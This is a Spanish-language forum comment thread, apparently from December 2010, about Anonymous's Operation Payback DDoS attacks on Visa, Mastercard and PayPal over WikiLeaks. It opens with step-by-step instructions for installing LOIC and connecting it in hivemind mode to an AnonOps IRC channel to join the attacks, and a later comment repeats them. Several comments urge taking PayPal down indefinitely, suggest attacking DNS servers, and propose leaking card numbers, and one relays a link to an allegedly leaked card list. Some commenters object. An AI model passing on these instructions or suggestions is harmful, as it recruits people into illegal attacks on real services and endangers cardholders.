WINDOWS:
Si no lo tienes, instala MS .NET Framework 3.5: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en
Descarga Hivemind LOIC: https://github.com/downloads/NewEraCracker/LOIC/loic.1.1.1.14.zip Y descomprímelo en tu escritorio.
Inicia Loic ejecutando Loic.exe.
Server (servidor): loic.AnonOps.net
Channel (canal): #loic
Elige "hivemind mode".
Siéntate y disfruta del espectáculo.
LINUX:
Descargar y extraer la ultima versión de LOIC: https://github.com/downloads/NewEraCracker/LOIC/loic.1.1.1.14.zip
Abre un terminal y escribir (sin comillas) “sudo apt-get install wine” y espera a que finalice la instalación
En un terminal escribe (sin comillas) “wget http://www.kegel.com/wine/winetricks”.
En un terminal escribe (sin comillas) “sh winetricks” y en la aplicación selecciona dotnet20, e instalalo
Ve a aplicaciones >> Wine click en “Browse C: drive” luego mueve los archivos extraídos de LOIC en c:
Ahora ve a donde moviste los archivos y selecciona LOIC.EXE y dale a propiedades
En la pestaña de permisos selecciona “permitir ejecutar archivo”
Click derecho sobre LOIC:EXE y luego abrir con Wine
Fuente: http://3plej-life.blogspot.com/
Creo que los baños de las oficinas de PayPal están ocupados
#91 muy buena información
#103, mira mi comentario en #91.
#91 Mono abre el Loic.exe, instalad mono desde los repos en cualquier distribución. Nada de meter Dotnet.
#91 mil gracias ¿y como se utiliza exactamente? que tengo que poner? )ya soy un torpe y pesado pero no lo hagas por mi, hazlo por wikileaks.
Ahora lo que habría que hacer es devolver nuestras VISA para que se la metan por el culo.
Me parece que tirar Visa y Mastercard no puede hacerles demasiado daño.
Mas dañino sería por ejemplo tirar paypal indefinidamente pues es un servicio web y si no opera su web se van a pique.
A visa y mastercard podrían sacarles numeros de tarjeta y repartirlos libremente por la web para que la gente las cancele en masa y joderles pero bien.
#37 Si esto va a más lo siguiente es posible que sea inundarlo todo de virus, o colarse directamente en los servidores, ya veremos que pasa.
#37 A lo mejor lo han hecho a propósito, porque eso mismo pensaba yo cuando leí que tiraron un blog de paypal, pero eso se entiende mejor si ves esto como una huelga, lo importante no es causar daños, sino hacer ruido.
#37
Como entrenen en acción los crackers de tarjetas entonces si que lia parda.
#51
"Esto cada vez es más una guerra"
Hace tiempo que lo es, recordemos la web de cultura, y cuando cerraron edonkey2000, o cuando entro la policia a llevarse los servidores de thepiratebay, llevamos en "guerra" desde siempre, con lagunas de paz y narcóticos fuertes para hacernos entrar en matrix o en el mundo de la piruleta, muchos se quieren quedar alli y ese es uno de los mayores obstaculos intentar "abrir los ojos" a la gente que los tiene vendados y piensan que tu estas errado.
#52 te remito a:
#49
#37
A visa y mastercard podrían sacarles numeros de tarjeta y repartirlos libremente por la web para que la gente las cancele en masa y joderles pero bien.
sinceramente eso no tiene nada que ver con apoyar a wikileaks, es usar a la gente como rehenes
me direis que soy demagogo, en general sigo haciendo el mismo razonamiento que en comentario anterior si nos cebamos con los controladores, yo lo hice, por usar a la gente y dejarla sin vacaciones, por que ahora podemos usar a los usuarios de visa,paypal...., que sentido tiene fastidiar al que tiene una cuenta y lo usa para su negocio o sus compras?
que apoyar a wikileaks es apoyar a una buena causa, libertad y tal, pero tampoco somos nadie para decirle a la gente cual debe ser su opinion acerca de wikileaks. Dificultar el uso de las visas puede ser bastante transtorno para sus usuarios, dejarles sin paypal si contaba con el dinero que le debian de un pago ni te digo..
Si quieres colaborar con Anonymous es muy sencillo (para Windows o para Linux mediante Wine):
1. Descarga Low Orbit Ion Cannon aquí -> http://www.megaupload.com/?d=PGY9AA5W
2. En "IRC server" introduce loic.anonops.net
3. Pulsa IMMA CHARGIN MAH LAZER
4. Disfruta del espectáculo.
LOIC se reconfigura sólo si Anonymous cambia el objetivo (esta tarde era la web de Mastercard, ahora es Visa). Ahora mismo, hay tanta gente usando LOIC que el programa tarda un poco en recibir la información del IRC de Anonymous, así que paciencia.
Payback is a bitch.
#77 muy bien, alguien debería poner un post que salga a portada como como echar paypal abajo entre todos, estaría bien qeu estuvieran una semana tirados... o dos
Redios!!! Anonymous ha publicado una lista de tarjetas de crédito con sus números de caducidad:
Atentos a lo que acaba de publicar Anonymous:
To people of the industrial world, dismiss your #Mastercard now!!! #ddos #payback Leaked Credit Cards http://pastebin.com/raw.php?i=u783eBzc
No se si será un fake o no, pero da miedo...
#96 Twitter acaba de suspender esa cuenta, la que se va a liar
#98 no, no es un Fake... yo por suerte no tengo MasterCard.. pero habrá que estar atento a ver si se filtran las Visa (de estas si que tengo) y en caso de ser así pedir el cambio.
Si el cambio lo tiene que hacer Visa (y no la entidad bancaria) puede ser un palo económico muy grande para ellos...
:bye:
#102 Acaban de cerrar la página que enlazaba en #98 pero durante unos minutos mostraba una lista de números de tarjeta de crédito junto con su caducidad.
Lo de fake lo digo porque en otro twit de respuesta al original de Anon_Operation decían que no eran números mastercard porque no empezaban con el dígito 5 (mi mastercard empieza por 5, por lo que pueden tener razón en lo de que no son números reales).
An error occurred while processing your request.
Reference #97.249cd740.1291844632.192ae892
Me desorino!
we are anonymous, we are legion!
el ataque es masivo y devastador: objetivo señalado, objetivo caido!, objetivo cumplido!
sufrira el timeline de google "efectos colaterales"??, esta que arde ahora mismo!
A tomar por culo, ¿cuál es la siguiente?
En el IRC comentan que dejaron de funcionar las tarjetas. Es cierto?
#11 Sí, yo esta mañana tuve problemas para realizar un pago.
#11 Esto empieza a parecerse al final del "Club de la lucha"
(de la pelicula, el libro no acaba igual)
Para los que critican Anonymous... conocéis alguna otra forma de que un simple ciudadano pueda demostrar su desacuerdo con la actitud de ciertas empresas y Gobiernos con respecto a Wikileaks? Salir a la calle no cuenta, no tiene cobertura, en Anonymous puede manifestarse cualquier persona de cualquier país del mundo, cada uno con sus razones, pero el fin es el mismo, hacer daño a quien nos lo hace a nosotros, a nuestra libertad, a nuestro derecho de saber que se cuece en las cocinas de los señores que nos gobiernan...
No sé hasta que punto Visa o Mastercard dependen de la web para su negocio, probablemente únicamente les afecte a la imagen.
Pero Paypal sin web no es nadie. A éstos sí podría hacerseles un DDOS permanente hasta que rectifiquen su postura públicamente.
¿que mas queda por tirar?
#3 Menéame, por alojarse en Amazon.
#4 Positivo. Los usuarios deberíamos pedir a quien corresponda que deje de alojar meneame en amazon. Y hago este comentario sin tener conocimiento si se esta gestionando algo al respecto.
#6 Jajajajaja. Ni de coña. Pídeselo a Gallir, pero vamos, no creo que ninguna empresa ofrezca ahora mismo el mismo servicio (al menos en cuanto a calidad/precio se refiere) que Amazon con su S3 y EC2.
#6 GOTO alternativas-a-paypal#c-27
#6 Aquí tienes un comentario de gallir al respecto, por si te interesa.
alternativas-a-paypal#c-27
#3 #4 El próximo parece que será twitter, por su vergonzosa censura en los trending topics.
http://blogs.elpais.com/.a/6a00d8341bfb1653ef0147e07d5f96970b-popup
El próximo es Paypal, cada vez hay más gente en la botnet, si esto sigue así llegara un momento que podrán tirarlas todas a la vez y dejarlas así indefinidamente.
#9 Pues también podría ser.
#9
Pues creo que mas tarde vendrá facebook, mas que nada porque los han botado.
#15 ¿A qué te refieres? El grupo sigue abierto
#26
Facebook banea la web del grupo anonymous
Facebook banea la web del grupo anonymous
image.bayimg.com¿Sera un fake?
#27 Pensaba que te referías a la página de Facebook de WikiLeaks. De la de Operation Payback no sé nada.
#3 mucha basura
Visa.com redirige ahora (al menos a mí) a www.visaeurope.es
#64 A mi también, pero www.visaeurope.es también está tirada, y www.visaeurope.com también.
Good_night,_Visa._Sweet_dreams_from_AnonOPs
La web de Anoymous también parece estar caida...
#22 cuál es la de anonymous?
El verdadero reto seria seguir tirando todas esas webs asta que Assange salga en libertad y wikileaks vuelva a estar abierta. Una batalla ganada no es ganar la guerra.
#29 No es un reto, es simplemente otra forma de respuesta al sistema que nos plantean/manipulan/entregan!... aunque para luego quedara como "un ataque de hackers" (WTF¿) para los medios "tradicionales", y así poder meter mano a legislar tal angelitoMagno vendiendo su neutralidad, siendo simplemente una saturación del servicio ofertado (vamos, no soportas todas las peticiones de lo que presumes vender).
... total, las cosas de antes funcionaban mejor!, mientras el pueblo soberano no vea las injusticias no pensaran en ellas, en la epoca romana hechaban a la gente a las fieras y la gente aplaudia!, y de eso hace unos cuantos siglos ya!, motivo por el cual estudiar historia!., Pues la historia se repite, a los leones con los controladores!!!
Total, mientras la masa este entretenida, no se quejara (ni dara cuenta) de las medidas de la "puerta de atras"
Somos anónimos, no tontos!, recuerdalo :_)
#58 Perfectamente de acuerdo. Pero me refiero, a que no me gustaria que estos ataques fueran algo anecdotico dentro de esta historia. Es simplemente mantener a estas webs tumbadas por tiempo ilimitado, ya que es uno de nuestras pocas vias para hacernos oir, pues que las voces no callen. No es suficiente con quejarnos un solo dia, por que dar limosnas no es suficiente para arreglar una vida. No es suficiente con una buena obra un dia para el resto del año tener nuestras conciencias tranquilas.
Que se cierren las webs indefinidamente, y ahí se verá nuestro verdadero poderío.
Good_night,_Visa._Sweet_dreams_from_AnonOPs
Me gusta
Uno de los comentarios que he leido por ahi, toda una demostracion de poder desde luego:
"Bloody hell!anon_operation takes down mastercard, visa, a Swiss bank, the Swedish prosecution, and Lieberman's site. In 24 hours? Whoa!"
Por otra parte, los mas de 1200 mirrors de Wikileaks es otra demostracion de poder (tomada empleando otra via) y no para de crecer...
Con esos ataques lo único que se consigue es fastidiar la tarde a un administrador de sistemas (además de titulares sensacionalistas en la prensa)
#66 y sentirse antisistema..da igual que luego esten en el sistema consumiendo como el que mas..
#66 Hombre, depende. En el caso de ciertas organizaciones, no tiene apenas otro efecto que el que mencionas (recordemos por ejemplo el ataque a la de la SGAE: ¿quien entra en la web de la SGAE?). En otros casos como Visa y Mastercard, ya no está tan claro, porque son empresas a las que sus clientes quizás se conecten, o a las que simplemente el ataque pueda fastidiar su red lo suficiente como para tener algún efecto colateral.
Pero: ¿Y si se hubiera hecho un ataque contra Amazon, por ejemplo? ¿Y si se hiciera uno contra Facebook, en caso de una hipotética censura en los próximos días? Eso ya es algo más que fastidiarle la tarde a algún administrador.
Quizás todo esto no sean sino escaramuzas de calentamiento para las grandes batallas que están por llegar. Yo, por si acaso, ya estoy calentando las palomitas.
Para los que quieran cooperar: http://pastehtml.com/view/1c8i33u.html
A mi me redirecciona a VisaEurope.es Y si está levantada. No sé durante cuanto tiempo...espero que poco.
La ruta de los TPVs suele ser distinta a la web pública (y estar en servidores distintos) para evitar que se sufran problemas de este tipo (vamos, que VISA deje de dar servicio por un DDoS).
Así que creo que a la gente de VISA y cia no les importa demasiado que les hayan tirado la web. La pasta les sigue llegando igual.
Lo que hay que hacer es boicotearles y no usarlos salvo cuando sea imprescindible. Eso les joderá mas que nada.
Lo que esta hecho con dinero publico debe ser público.
Si publicas información de una empresa privada cometes un delito. Si publicas información de una administración pública ejerces un derecho.
Se ha generado una guerra innecesaria. TODOS los documentos "filtrados" por WikiLeaks se deberían publicar como un derecho de los contribuyentes y no como una guerra contra los gobiernos.
Digo yo... si lo que se pretende es fastidiar... ¿porque no se ataca a los servidores DNS? Quiero decir, si no hay resolucion de nombres, no hay ni web, ni correo ni nada que use *.visa.com
El no ver una web, no es más que algo simbólico, el dejar de recibir correo son palabras mayores.
Y es que por el mismo precio, tiran al menos 2 servicios.
El #pirata logró acceso a la información de cuenta, la cual se refiere a unos 3.4 millones de tarjetas #Visa y 2.2 millones de #MasterCard. en telenoticias 7
Ea he intentado quitar la mia pero me da error... para ti todo sin microblogging
Si van a por Facebook o Twitter les puede pasar como a los controladores, que la gente en vez de apoyarlos se cabree por quitarles sus sites favoritos.
Visa abajo otra vez http://downforeveryoneorjustme.com/www.visa.com (23:07)
Esto está interesante:
http://www.google.com/search?q=visa&hl=es&sa=N&prmd=ivnu&tbs=mbl:1&tbo=u&ei=gvv_TM3gMMubhQeVrsS5Cw&oi=realtime_result_group_more_results_link&ct=title&resnum=4&ved=0CEMQ5QUwAw
El siguiente deberia ser Ikea. Parece q Suecia va a enviar a Assange directamente a EEUU en cuanto se lo pasen los britanicos. No estaria mal bloquear su web todas las navidades... V
Que tiernos, niños jugando a la 3 guerra mundial en internet...
Mama!!! mama!!! soy un soldado que lucha por la libertad, y mira, sin manos!!!
¿soy el único al que le parece mal este afán destructivo? qué miedo dais, qué miedo. legitimidad para hacer daño, ¿cuántas desgracias han pasado por ella? y parece que nunca abará, el ser humano es imbécil. pero nada, seguid jaleando, yo soy el equivocado. qué felices viviríais en el primer tercio del siglo xx.
#18
La "masa" esta rabiosa, demasiadas putadas a la vez..y lo que tiene de venir, no soy pro-floods, lo entiendo, pero no es el camino.
Esperemos que cuando "la masa" se calme un poco, pensar que se puede hacer.
#25: No soy pro-DoS, pero... Esto cada vez es más una guerra, y en las guerras las normas no son las mismas que en la paz, por eso mismo, el código penal militar tampoco es el código penal civil, por ejemplo.
Se podrá criticar a Anonymous por lanzar ataques "ilegales", pero ¿acaso no son ilegales igualmente las acciones de algunas personas e instituciones en USA? ¿Cómo tenemos que interpretar que se eliminen registros DNS, por ejemplo, contra una web que no ha hecho nada ilegal? ¿Cómo interpretar por ejemplo las declaraciones públicas incitan a matar a Assange? ¿O su persecución por parte de Interpol por unas ridículas acusaciones que sólo tienen sentido en Suecia, e incluso allá sólo suponen una multa?
Atacar con un DoS empresas como Visa, ¿es más ilegal que presionarla a que elimine una cuenta de una empresa que no ha cometido ningún crimen? Aquí lo que hay son dos bandos. Cada cual puede escoger a cuál se une o si quiere permanecer al margen, pero mientras siga siendo una guerra sus métodos serán los que son. A mí, en el mundo físico, tampoco me gusta que la gente solucione sus problemas con kalashnikovs, pero si están en guerra, entiendo que los usen.
#51 De todas formas, esto para mi es más parecido a una huelga, y por lo tanto no es equiparable a el acoso que está haciendo EEUU entre otros contra wikileaks. Por eso es que no me parece bueno que se enfoque esto como si fuera algo de la misma calaña.
No es lo mismo cortar una calle poniendo contenedores en medio de la calle y quemandolos, que coger a un grupo de personas y pasar por esa calle cada uno con su coche(normalmente, sin quedarse parado) hasta que se sature "sola".
#18 #25 Los gobiernos y las grandes empresas tienen el poder, y quien tiene el poder decide como se juega. Y ellos han decidido que el diálogo pacífico, la transparencia y la justicia no funcionan aquí.
Pero los Anonymous están buscando todo tipo de iniciativas útiles: posters, propaganda, etc. Si tenéis una idea que creáis que puede causar tanta repercusión como la que están causando estos ataques, estáis tardando en compartirla.
#18 Tu debes ser a los que la vida le sonrie, a mi no. !Que les den!! Sigue en el rebaño
#31 ¿que sigo en el rebaño? ¿que YO sigo en el rebaño? mira los comentarios de esta noticia, mira quien sigue en el rebaño, mira quien soluciona las cosas destruyendo y pisoteando mientras lo arrean. lo que me faltaba por oír, un tipo que que sigue a una masa destructiva me acusa estar en el rebaño.
¿no te sonríe la vida? (permíteme que lo dude) ¿por eso las ganas de hacer daño? muy bien, muy bien, estás ya oficialmente en el bando de los malos, hacer daño por hacer daño, sin motivo lógico aparente.
en fin, pues seguiré aquí mientras me quede karma, en mi rebaño de UNA persona pidiendo cordura. sois los putos herederos de los nazis, masa destructiva, que ante los problemas no busca soluciones, sino venganza y desquite.
estáis demostrando que nada ha cambiado, que todo sigue igual.
(voz de tonto: mira mira, mira que gracioso cómo arde todo, mira)
#18
Creo q cuando los franceses tomaron la bastilla, lo pidieron por favor
#18 Sólo es el bloqueo temporal de una web por saturación. No se va está provocando ningún destrozo más alla de entorpecer sus operaciones.
#59 Por ahora....
Para #18. ...¿soy el único al que le parece mal este afán destructivo?...
Para empezar, no sabes ni de lo que hablas. Este tipo de manifestaciones públicas consiguiendo que servicios en Internet de ciertas empresas colapsen y dejen de funcionar por unos minutos u horas no causan absolutamente ningún daño físico en ningún sistema hardware. Son llamadas de atención por parte de la masa de ciudadanos a nivel global. Si no eres capaz de comprenderlo y verlo asi será mejor que sigas conectado a tu canal de televisión favorito para que sigas sintiéndote plenamente 'informado'.
El afan destructivo unicamente lo está demostrando el Sistema Político y Económico Establecido a Nivel Global contra un servicio legal y legítimo llamado Wikileaks.
#60 "llamadas de atención" ja, ja, ja. es verdad joder, no lo había entendido. pero es que ¡ni siquiera causa daños al hardware! joder, que tonto he sido. voy a poner mi canal favorito de televisión, y a ver el un dos tres:
por 25pts cada respuesta, dígame eufemismos de hacer daño en represalia, como por ejemplo "llamada de atención", un, dos, tres, responda otra vez.
por otras 25pts, eufemismos de linchamiento, como "manifestación pública".
#127 no, prefiero estar aquí un ratito, siendo vuestro pepito grillo. ¿molesto mucho? puta conciencia, ¿no?
#60 Si las horas en que esas webs no estan funcionando generan perdidas, si hay destruccion
Es como si un piquete se planta delante de un negocio y evita que los clientes entren a comprar ... no hay materiales rotos (podria haberlos, aunque no tiene por que), ¿hay perdidas ocasionadas por clientes que efectivamente tenian pensado entrar a comprar y no van a poder hacerlo?
Si hay algo peor que realizar un acto nocivo es intentar racionalizarlo y justificarlo. Si el caracter nocivo no fuese tal, entenderia la discusion; por el contrario, negar el perjuicio economico causado a las webs bloqueadas me parece ya demasiado
#18 mastercard.com ya funciona. Los muertos por el helicóptero militar estadounidense funcionan? Couso funciona? pues no te olvides que eso es el inicio de todo lo que está pasando. Assange es una cabeza de turco, pero la realidad son los crimenes tanto personales como económicos que se intentan ocultar. No desvies la atención a lo que no es.
#73 Al menos para mí, mastercard.com no funciona
#73 ¿qué? ¿has resucitado a couso tumbando webs? ¿habéis conseguido algo destruyendo? dime, dime, porque si es así, me uno a la orgía. no sé si habrás oído esto que voy a poner en negrita, pero ha habido muchas desgracias en la historia de la humanidad por no haber seguido estas palabras, a ver si te suena:
EL FIN NO JUSTIFICA LOS MEDIOS
en el caso de hoy, quizás no sería ni aplicable, porque ni siquiera es un medio el hacer daño, sino un fin en si mismo, es todavía peor. además, yo no estoy defendiendo que metan a assange en prisión, ni que no se investiguen crímenes, ni que no se filtren cosas, sino la actitud de todo el mundo ante esto. sobredimensionándolo primero y usándolo después como excusa (muy mala, aunque en rebaño cualquier cosa vale) para hacer daño a mucha gente.
#18 Perdón, quería votar positivo. Pienso que Visa, PayPal et al. son una tropa de cobardes, pero no me gusta que Anonymous abra la temporada de caza de todo el que no comparte sus ideas. Es la clásica prepotencia que se le critica a los gobiernos estadounidenses de "lo hacemos porque tenemos los medios y nadie nos puede detener". Es la ley de la selva, gana el que haga el mejor DDoS, y se sabe que si luchamos con las armas de los poderosos, es decir, rifles, dinero y tecnología, llevamos las de perder ("Sí, los bombardeamos porque eran una amenaza armados con todas esas piedras e intenciones terroristas".) Como a la mayoría, me gusta que Lieberman reciba una dosis de su propio método, pero en el fondo sé que ese no es el camino. Hay que lanzarse a protestar contra la censura y retirar fondos de PayPal.